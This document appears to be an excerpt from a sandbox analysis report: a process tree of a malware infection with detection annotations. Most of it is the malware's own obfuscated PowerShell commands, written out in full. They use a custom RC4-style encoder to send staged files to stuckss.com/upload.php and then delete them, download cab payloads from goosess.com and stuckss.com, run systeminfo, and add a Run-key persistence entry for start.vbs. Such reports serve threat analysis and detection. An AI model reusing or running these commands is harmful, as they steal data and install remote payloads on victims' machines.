$VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;$urgWSnAkdSFe = ($VkbCqfOxmF[$pVTuUFZgJeTg] + $VkbCqfOxmF[$cimcjZyRCUM]) % 256;$QiBpTOnlBxk[$qlEMUTGteAdA] = $VFPFIVkdaVP[$qlEMUTGteAdA] -bxor $VkbCqfOxmF[$urgWSnAkdSFe];}$JfnNgtWXCM = [System.Convert]::ToBase64String($QiBpTOnlBxk);return $JfnNgtWXCM;};$VbDSqCkiXZQ = 'https://goosess.com/read/get.php?wc=iew&vf=lk0100';$KWnAhHWFxDer = 'C:\Users\Public\Documents\di3726.zip';Add-Type -AssemblyName 'System.Web';$GilCbwtVtsL=(Get-Date).Ticks.ToString();$JMWjVfWRzVri = $VbDSqCkiXZQ.Split('?')[1];$KNQDusHeEmF = OnavpMuwhH -UmdocLPwMM $JMWjVfWRzVri -mIiGBlcMoFh $GilCbwtVtsL;$VbDSqCkiXZQ=$VbDSqCkiXZQ.Split('?')[0]+'?'+$GilCbwtVtsL+'='+[System.Web.HttpUtility]::UrlEncode($KNQDusHeEmF);iwr -Uri $VbDSqCkiXZQ -OutFile $KWnAhHWFxDer;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1728
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C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2600
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C:\Windows\system32\timeout.exetimeout -t 5 /nobreak2⤵
- Delays execution with timeout.exe
PID:1292
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function MvkKywHqAI{param ($wobJeEkhXb,$CgZjHZSlbVD);$UlcLAbMMhfQz = [System.Text.Encoding]::UTF8.GetBytes($wobJeEkhXb); $ekTtpYTYUmDj = [System.Text.Encoding]::UTF8.GetBytes($CgZjHZSlbVD);$XomJLXzkAus = New-Object byte[](256);$iEhbBnGQra = New-Object byte[](256);for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$XomJLXzkAus[$LZzjMPVcHiLE] = $LZzjMPVcHiLE;$iEhbBnGQra[$LZzjMPVcHiLE] = $ekTtpYTYUmDj[$LZzjMPVcHiLE % $ekTtpYTYUmDj.Length];}$ZmtmYTnRxPR = 0;for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE] + $iEhbBnGQra[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;}$tKyHKAHbbYxi = New-Object byte[] $UlcLAbMMhfQz.Length;$LZzjMPVcHiLE = 0;$ZmtmYTnRxPR = 0;for ($JuZEgbNvAXZ = 0; $JuZEgbNvAXZ -lt $UlcLAbMMhfQz.Length; $JuZEgbNvAXZ++) {$LZzjMPVcHiLE = ($LZzjMPVcHiLE + 1) % 256;$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;$OvilBbzvxhck = ($XomJLXzkAus[$LZzjMPVcHiLE] + $XomJLXzkAus[$ZmtmYTnRxPR]) % 256;$tKyHKAHbbYxi[$JuZEgbNvAXZ] = $UlcLAbMMhfQz[$JuZEgbNvAXZ] -bxor $XomJLXzkAus[$OvilBbzvxhck];}$xkDPxKpMyJA = [System.Convert]::ToBase64String($tKyHKAHbbYxi);return $xkDPxKpMyJA;};$iwZqbJOOHngq=(Get-Date).Ticks.ToString();$eqzyqfKtshq='http://stuckss.com/upload.php';$MTwdyMhaTYjs='AYFLYVMK_down.txt';$GqrwXQwpGy='C:\Users\Public\Documents\d1.txt';$gMRDFmqKFBul=gc -Path $GqrwXQwpGy -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$MTwdyMhaTYjs=MvkKywHqAI -wobJeEkhXb $MTwdyMhaTYjs -CgZjHZSlbVD $iwZqbJOOHngq;$gMRDFmqKFBul=MvkKywHqAI -wobJeEkhXb $gMRDFmqKFBul -CgZjHZSlbVD $iwZqbJOOHngq;$FJGDlzUBlDZ = [System.Web.HttpUtility]::ParseQueryString('');$FJGDlzUBlDZ['fn']=$MTwdyMhaTYjs;$FJGDlzUBlDZ['fd']=$gMRDFmqKFBul;$FJGDlzUBlDZ['r']=$iwZqbJOOHngq;$VjvsmgNTHY=$FJGDlzUBlDZ.ToString();$cGmHomhQRSLg=[System.Text.Encoding]::UTF8.GetBytes($VjvsmgNTHY);$vSWCboPNXzG=[System.Net.WebRequest]::Create($eqzyqfKtshq);$vSWCboPNXzG.Method='PO'+'ST';$vSWCboPNXzG.ContentType='ap'+'plic'+'ati'+'on/x'+'-ww'+'w-for'+'m-ur'+'len'+'co'+'ded';$vSWCboPNXzG.ContentLength=$cGmHomhQRSLg.Length;$fxVcHSwNgCub = $vSWCboPNXzG.GetRequestStream();$fxVcHSwNgCub.Write($cGmHomhQRSLg,0,$cGmHomhQRSLg.Length);$fxVcHSwNgCub.Close();$ZABcjbdftCBY=$vSWCboPNXzG.GetResponse();if($ZABcjbdftCBY.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $GqrwXQwpGy;$TuJxMBAXFNQ='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $TuJxMBAXFNQ;}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1104
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function MvkKywHqAI{param ($wobJeEkhXb,$CgZjHZSlbVD);$UlcLAbMMhfQz = [System.Text.Encoding]::UTF8.GetBytes($wobJeEkhXb); $ekTtpYTYUmDj = [System.Text.Encoding]::UTF8.GetBytes($CgZjHZSlbVD);$XomJLXzkAus = New-Object byte[](256);$iEhbBnGQra = New-Object byte[](256);for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$XomJLXzkAus[$LZzjMPVcHiLE] = $LZzjMPVcHiLE;$iEhbBnGQra[$LZzjMPVcHiLE] = $ekTtpYTYUmDj[$LZzjMPVcHiLE % $ekTtpYTYUmDj.Length];}$ZmtmYTnRxPR = 0;for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE] + $iEhbBnGQra[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;}$tKyHKAHbbYxi = New-Object byte[] $UlcLAbMMhfQz.Length;$LZzjMPVcHiLE = 0;$ZmtmYTnRxPR = 0;for ($JuZEgbNvAXZ = 0; $JuZEgbNvAXZ -lt $UlcLAbMMhfQz.Length; $JuZEgbNvAXZ++) {$LZzjMPVcHiLE = ($LZzjMPVcHiLE + 1) % 256;$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;$OvilBbzvxhck = ($XomJLXzkAus[$LZzjMPVcHiLE] + $XomJLXzkAus[$ZmtmYTnRxPR]) % 256;$tKyHKAHbbYxi[$JuZEgbNvAXZ] = $UlcLAbMMhfQz[$JuZEgbNvAXZ] -bxor $XomJLXzkAus[$OvilBbzvxhck];}$xkDPxKpMyJA = [System.Convert]::ToBase64String($tKyHKAHbbYxi);return $xkDPxKpMyJA;};$iwZqbJOOHngq=(Get-Date).Ticks.ToString();$eqzyqfKtshq='http://stuckss.com/upload.php';$MTwdyMhaTYjs='AYFLYVMK_docu.txt';$GqrwXQwpGy='C:\Users\Public\Documents\d2.txt';$gMRDFmqKFBul=gc -Path $GqrwXQwpGy -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$MTwdyMhaTYjs=MvkKywHqAI -wobJeEkhXb $MTwdyMhaTYjs -CgZjHZSlbVD $iwZqbJOOHngq;$gMRDFmqKFBul=MvkKywHqAI -wobJeEkhXb $gMRDFmqKFBul -CgZjHZSlbVD $iwZqbJOOHngq;$FJGDlzUBlDZ = [System.Web.HttpUtility]::ParseQueryString('');$FJGDlzUBlDZ['fn']=$MTwdyMhaTYjs;$FJGDlzUBlDZ['fd']=$gMRDFmqKFBul;$FJGDlzUBlDZ['r']=$iwZqbJOOHngq;$VjvsmgNTHY=$FJGDlzUBlDZ.ToString();$cGmHomhQRSLg=[System.Text.Encoding]::UTF8.GetBytes($VjvsmgNTHY);$vSWCboPNXzG=[System.Net.WebRequest]::Create($eqzyqfKtshq);$vSWCboPNXzG.Method='PO'+'ST';$vSWCboPNXzG.ContentType='ap'+'plic'+'ati'+'on/x'+'-ww'+'w-for'+'m-ur'+'len'+'co'+'ded';$vSWCboPNXzG.ContentLength=$cGmHomhQRSLg.Length;$fxVcHSwNgCub = $vSWCboPNXzG.GetRequestStream();$fxVcHSwNgCub.Write($cGmHomhQRSLg,0,$cGmHomhQRSLg.Length);$fxVcHSwNgCub.Close();$ZABcjbdftCBY=$vSWCboPNXzG.GetResponse();if($ZABcjbdftCBY.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $GqrwXQwpGy;$TuJxMBAXFNQ='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $TuJxMBAXFNQ;}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3036
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function MvkKywHqAI{param ($wobJeEkhXb,$CgZjHZSlbVD);$UlcLAbMMhfQz = [System.Text.Encoding]::UTF8.GetBytes($wobJeEkhXb); $ekTtpYTYUmDj = [System.Text.Encoding]::UTF8.GetBytes($CgZjHZSlbVD);$XomJLXzkAus = New-Object byte[](256);$iEhbBnGQra = New-Object byte[](256);for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$XomJLXzkAus[$LZzjMPVcHiLE] = $LZzjMPVcHiLE;$iEhbBnGQra[$LZzjMPVcHiLE] = $ekTtpYTYUmDj[$LZzjMPVcHiLE % $ekTtpYTYUmDj.Length];}$ZmtmYTnRxPR = 0;for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE] + $iEhbBnGQra[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;}$tKyHKAHbbYxi = New-Object byte[] $UlcLAbMMhfQz.Length;$LZzjMPVcHiLE = 0;$ZmtmYTnRxPR = 0;for ($JuZEgbNvAXZ = 0; $JuZEgbNvAXZ -lt $UlcLAbMMhfQz.Length; $JuZEgbNvAXZ++) {$LZzjMPVcHiLE = ($LZzjMPVcHiLE + 1) % 256;$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;$OvilBbzvxhck = ($XomJLXzkAus[$LZzjMPVcHiLE] + $XomJLXzkAus[$ZmtmYTnRxPR]) % 256;$tKyHKAHbbYxi[$JuZEgbNvAXZ] = $UlcLAbMMhfQz[$JuZEgbNvAXZ] -bxor $XomJLXzkAus[$OvilBbzvxhck];}$xkDPxKpMyJA = [System.Convert]::ToBase64String($tKyHKAHbbYxi);return $xkDPxKpMyJA;};$iwZqbJOOHngq=(Get-Date).Ticks.ToString();$eqzyqfKtshq='http://stuckss.com/upload.php';$MTwdyMhaTYjs='AYFLYVMK_desk.txt';$GqrwXQwpGy='C:\Users\Public\Documents\d3.txt';$gMRDFmqKFBul=gc -Path $GqrwXQwpGy -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$MTwdyMhaTYjs=MvkKywHqAI -wobJeEkhXb $MTwdyMhaTYjs -CgZjHZSlbVD $iwZqbJOOHngq;$gMRDFmqKFBul=MvkKywHqAI -wobJeEkhXb $gMRDFmqKFBul -CgZjHZSlbVD $iwZqbJOOHngq;$FJGDlzUBlDZ = [System.Web.HttpUtility]::ParseQueryString('');$FJGDlzUBlDZ['fn']=$MTwdyMhaTYjs;$FJGDlzUBlDZ['fd']=$gMRDFmqKFBul;$FJGDlzUBlDZ['r']=$iwZqbJOOHngq;$VjvsmgNTHY=$FJGDlzUBlDZ.ToString();$cGmHomhQRSLg=[System.Text.Encoding]::UTF8.GetBytes($VjvsmgNTHY);$vSWCboPNXzG=[System.Net.WebRequest]::Create($eqzyqfKtshq);$vSWCboPNXzG.Method='PO'+'ST';$vSWCboPNXzG.ContentType='ap'+'plic'+'ati'+'on/x'+'-ww'+'w-for'+'m-ur'+'len'+'co'+'ded';$vSWCboPNXzG.ContentLength=$cGmHomhQRSLg.Length;$fxVcHSwNgCub = $vSWCboPNXzG.GetRequestStream();$fxVcHSwNgCub.Write($cGmHomhQRSLg,0,$cGmHomhQRSLg.Length);$fxVcHSwNgCub.Close();$ZABcjbdftCBY=$vSWCboPNXzG.GetResponse();if($ZABcjbdftCBY.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $GqrwXQwpGy;$TuJxMBAXFNQ='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $TuJxMBAXFNQ;}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2404
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function MvkKywHqAI{param ($wobJeEkhXb,$CgZjHZSlbVD);$UlcLAbMMhfQz = [System.Text.Encoding]::UTF8.GetBytes($wobJeEkhXb); $ekTtpYTYUmDj = [System.Text.Encoding]::UTF8.GetBytes($CgZjHZSlbVD);$XomJLXzkAus = New-Object byte[](256);$iEhbBnGQra = New-Object byte[](256);for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$XomJLXzkAus[$LZzjMPVcHiLE] = $LZzjMPVcHiLE;$iEhbBnGQra[$LZzjMPVcHiLE] = $ekTtpYTYUmDj[$LZzjMPVcHiLE % $ekTtpYTYUmDj.Length];}$ZmtmYTnRxPR = 0;for ($LZzjMPVcHiLE = 0; $LZzjMPVcHiLE -lt 256; $LZzjMPVcHiLE++) {$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE] + $iEhbBnGQra[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;}$tKyHKAHbbYxi = New-Object byte[] $UlcLAbMMhfQz.Length;$LZzjMPVcHiLE = 0;$ZmtmYTnRxPR = 0;for ($JuZEgbNvAXZ = 0; $JuZEgbNvAXZ -lt $UlcLAbMMhfQz.Length; $JuZEgbNvAXZ++) {$LZzjMPVcHiLE = ($LZzjMPVcHiLE + 1) % 256;$ZmtmYTnRxPR = ($ZmtmYTnRxPR + $XomJLXzkAus[$LZzjMPVcHiLE]) % 256;$PapcMuOrJKV = $XomJLXzkAus[$LZzjMPVcHiLE];$XomJLXzkAus[$LZzjMPVcHiLE] = $XomJLXzkAus[$ZmtmYTnRxPR];$XomJLXzkAus[$ZmtmYTnRxPR] = $PapcMuOrJKV;$OvilBbzvxhck = ($XomJLXzkAus[$LZzjMPVcHiLE] + $XomJLXzkAus[$ZmtmYTnRxPR]) % 256;$tKyHKAHbbYxi[$JuZEgbNvAXZ] = $UlcLAbMMhfQz[$JuZEgbNvAXZ] -bxor $XomJLXzkAus[$OvilBbzvxhck];}$xkDPxKpMyJA = [System.Convert]::ToBase64String($tKyHKAHbbYxi);return $xkDPxKpMyJA;};$iwZqbJOOHngq=(Get-Date).Ticks.ToString();$eqzyqfKtshq='http://stuckss.com/upload.php';$MTwdyMhaTYjs='AYFLYVMK_sys.txt';$GqrwXQwpGy='C:\Users\Public\Documents\d4.txt';$gMRDFmqKFBul=gc -Path $GqrwXQwpGy -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$MTwdyMhaTYjs=MvkKywHqAI -wobJeEkhXb $MTwdyMhaTYjs -CgZjHZSlbVD $iwZqbJOOHngq;$gMRDFmqKFBul=MvkKywHqAI -wobJeEkhXb $gMRDFmqKFBul -CgZjHZSlbVD $iwZqbJOOHngq;$FJGDlzUBlDZ = [System.Web.HttpUtility]::ParseQueryString('');$FJGDlzUBlDZ['fn']=$MTwdyMhaTYjs;$FJGDlzUBlDZ['fd']=$gMRDFmqKFBul;$FJGDlzUBlDZ['r']=$iwZqbJOOHngq;$VjvsmgNTHY=$FJGDlzUBlDZ.ToString();$cGmHomhQRSLg=[System.Text.Encoding]::UTF8.GetBytes($VjvsmgNTHY);$vSWCboPNXzG=[System.Net.WebRequest]::Create($eqzyqfKtshq);$vSWCboPNXzG.Method='PO'+'ST';$vSWCboPNXzG.ContentType='ap'+'plic'+'ati'+'on/x'+'-ww'+'w-for'+'m-ur'+'len'+'co'+'ded';$vSWCboPNXzG.ContentLength=$cGmHomhQRSLg.Length;$fxVcHSwNgCub = $vSWCboPNXzG.GetRequestStream();$fxVcHSwNgCub.Write($cGmHomhQRSLg,0,$cGmHomhQRSLg.Length);$fxVcHSwNgCub.Close();$ZABcjbdftCBY=$vSWCboPNXzG.GetResponse();if($ZABcjbdftCBY.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $GqrwXQwpGy;$TuJxMBAXFNQ='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $TuJxMBAXFNQ;}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function OnavpMuwhH{param ($UmdocLPwMM,$mIiGBlcMoFh);$VFPFIVkdaVP = [System.Text.Encoding]::UTF8.GetBytes($UmdocLPwMM); $vBZPSaMPhEL = [System.Text.Encoding]::UTF8.GetBytes($mIiGBlcMoFh);$VkbCqfOxmF = New-Object byte[](256);$pquiAKHwBut = New-Object byte[](256);for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$VkbCqfOxmF[$pVTuUFZgJeTg] = $pVTuUFZgJeTg;$pquiAKHwBut[$pVTuUFZgJeTg] = $vBZPSaMPhEL[$pVTuUFZgJeTg % $vBZPSaMPhEL.Length];}$cimcjZyRCUM = 0;for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg] + $pquiAKHwBut[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;}$QiBpTOnlBxk = New-Object byte[] $VFPFIVkdaVP.Length;$pVTuUFZgJeTg = 0;$cimcjZyRCUM = 0;for ($qlEMUTGteAdA = 0; $qlEMUTGteAdA -lt $VFPFIVkdaVP.Length; $qlEMUTGteAdA++) {$pVTuUFZgJeTg = ($pVTuUFZgJeTg + 1) % 256;$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;$urgWSnAkdSFe = ($VkbCqfOxmF[$pVTuUFZgJeTg] + $VkbCqfOxmF[$cimcjZyRCUM]) % 256;$QiBpTOnlBxk[$qlEMUTGteAdA] = $VFPFIVkdaVP[$qlEMUTGteAdA] -bxor $VkbCqfOxmF[$urgWSnAkdSFe];}$JfnNgtWXCM = [System.Convert]::ToBase64String($QiBpTOnlBxk);return $JfnNgtWXCM;};$VbDSqCkiXZQ = 'http://stuckss.com/list.php?f=AYFLYVMK.txt';$KWnAhHWFxDer = 'C:\Users\Public\Documents\rBTob.cab';Add-Type -AssemblyName 'System.Web';$GilCbwtVtsL=(Get-Date).Ticks.ToString();$JMWjVfWRzVri = $VbDSqCkiXZQ.Split('?')[1];$KNQDusHeEmF = OnavpMuwhH -UmdocLPwMM $JMWjVfWRzVri -mIiGBlcMoFh $GilCbwtVtsL;$VbDSqCkiXZQ=$VbDSqCkiXZQ.Split('?')[0]+'?'+$GilCbwtVtsL+'='+[System.Web.HttpUtility]::UrlEncode($KNQDusHeEmF);iwr -Uri $VbDSqCkiXZQ -OutFile $KWnAhHWFxDer;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1288
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C:\Windows\system32\expand.exeexpand rBTob.cab -F:* C:\Users\Public\Documents\2⤵PID:2268
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C:\Windows\system32\timeout.exetimeout -t 57 /nobreak2⤵
- Delays execution with timeout.exe
PID:2484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function OnavpMuwhH{param ($UmdocLPwMM,$mIiGBlcMoFh);$VFPFIVkdaVP = [System.Text.Encoding]::UTF8.GetBytes($UmdocLPwMM); $vBZPSaMPhEL = [System.Text.Encoding]::UTF8.GetBytes($mIiGBlcMoFh);$VkbCqfOxmF = New-Object byte[](256);$pquiAKHwBut = New-Object byte[](256);for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$VkbCqfOxmF[$pVTuUFZgJeTg] = $pVTuUFZgJeTg;$pquiAKHwBut[$pVTuUFZgJeTg] = $vBZPSaMPhEL[$pVTuUFZgJeTg % $vBZPSaMPhEL.Length];}$cimcjZyRCUM = 0;for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg] + $pquiAKHwBut[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;}$QiBpTOnlBxk = New-Object byte[] $VFPFIVkdaVP.Length;$pVTuUFZgJeTg = 0;$cimcjZyRCUM = 0;for ($qlEMUTGteAdA = 0; $qlEMUTGteAdA -lt $VFPFIVkdaVP.Length; $qlEMUTGteAdA++) {$pVTuUFZgJeTg = ($pVTuUFZgJeTg + 1) % 256;$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;$urgWSnAkdSFe = ($VkbCqfOxmF[$pVTuUFZgJeTg] + $VkbCqfOxmF[$cimcjZyRCUM]) % 256;$QiBpTOnlBxk[$qlEMUTGteAdA] = $VFPFIVkdaVP[$qlEMUTGteAdA] -bxor $VkbCqfOxmF[$urgWSnAkdSFe];}$JfnNgtWXCM = [System.Convert]::ToBase64String($QiBpTOnlBxk);return $JfnNgtWXCM;};$VbDSqCkiXZQ = 'http://stuckss.com/list.php?f=AYFLYVMK.txt';$KWnAhHWFxDer = 'C:\Users\Public\Documents\rBTob.cab';Add-Type -AssemblyName 'System.Web';$GilCbwtVtsL=(Get-Date).Ticks.ToString();$JMWjVfWRzVri = $VbDSqCkiXZQ.Split('?')[1];$KNQDusHeEmF = OnavpMuwhH -UmdocLPwMM $JMWjVfWRzVri -mIiGBlcMoFh $GilCbwtVtsL;$VbDSqCkiXZQ=$VbDSqCkiXZQ.Split('?')[0]+'?'+$GilCbwtVtsL+'='+[System.Web.HttpUtility]::UrlEncode($KNQDusHeEmF);iwr -Uri $VbDSqCkiXZQ -OutFile $KWnAhHWFxDer;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1108
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C:\Windows\system32\expand.exeexpand rBTob.cab -F:* C:\Users\Public\Documents\2⤵PID:1152
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C:\Windows\system32\timeout.exetimeout -t 57 /nobreak2⤵
- Delays execution with timeout.exe
PID:1760
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function OnavpMuwhH{param ($UmdocLPwMM,$mIiGBlcMoFh);$VFPFIVkdaVP = [System.Text.Encoding]::UTF8.GetBytes($UmdocLPwMM); $vBZPSaMPhEL = [System.Text.Encoding]::UTF8.GetBytes($mIiGBlcMoFh);$VkbCqfOxmF = New-Object byte[](256);$pquiAKHwBut = New-Object byte[](256);for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$VkbCqfOxmF[$pVTuUFZgJeTg] = $pVTuUFZgJeTg;$pquiAKHwBut[$pVTuUFZgJeTg] = $vBZPSaMPhEL[$pVTuUFZgJeTg % $vBZPSaMPhEL.Length];}$cimcjZyRCUM = 0;for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg] + $pquiAKHwBut[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;}$QiBpTOnlBxk = New-Object byte[] $VFPFIVkdaVP.Length;$pVTuUFZgJeTg = 0;$cimcjZyRCUM = 0;for ($qlEMUTGteAdA = 0; $qlEMUTGteAdA -lt $VFPFIVkdaVP.Length; $qlEMUTGteAdA++) {$pVTuUFZgJeTg = ($pVTuUFZgJeTg + 1) % 256;$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;$urgWSnAkdSFe = ($VkbCqfOxmF[$pVTuUFZgJeTg] + $VkbCqfOxmF[$cimcjZyRCUM]) % 256;$QiBpTOnlBxk[$qlEMUTGteAdA] = $VFPFIVkdaVP[$qlEMUTGteAdA] -bxor $VkbCqfOxmF[$urgWSnAkdSFe];}$JfnNgtWXCM = [System.Convert]::ToBase64String($QiBpTOnlBxk);return $JfnNgtWXCM;};$VbDSqCkiXZQ = 'http://stuckss.com/list.php?f=AYFLYVMK.txt';$KWnAhHWFxDer = 'C:\Users\Public\Documents\rBTob.cab';Add-Type -AssemblyName 'System.Web';$GilCbwtVtsL=(Get-Date).Ticks.ToString();$JMWjVfWRzVri = $VbDSqCkiXZQ.Split('?')[1];$KNQDusHeEmF = OnavpMuwhH -UmdocLPwMM $JMWjVfWRzVri -mIiGBlcMoFh $GilCbwtVtsL;$VbDSqCkiXZQ=$VbDSqCkiXZQ.Split('?')[0]+'?'+$GilCbwtVtsL+'='+[System.Web.HttpUtility]::UrlEncode($KNQDusHeEmF);iwr -Uri $VbDSqCkiXZQ -OutFile $KWnAhHWFxDer;"2⤵PID:844
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C:\Windows\system32\cmd.execmd /c ""C:\Users\Public\documents\49120862.bat" "1⤵
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f2⤵
- Adds Run key to start application
PID:1964
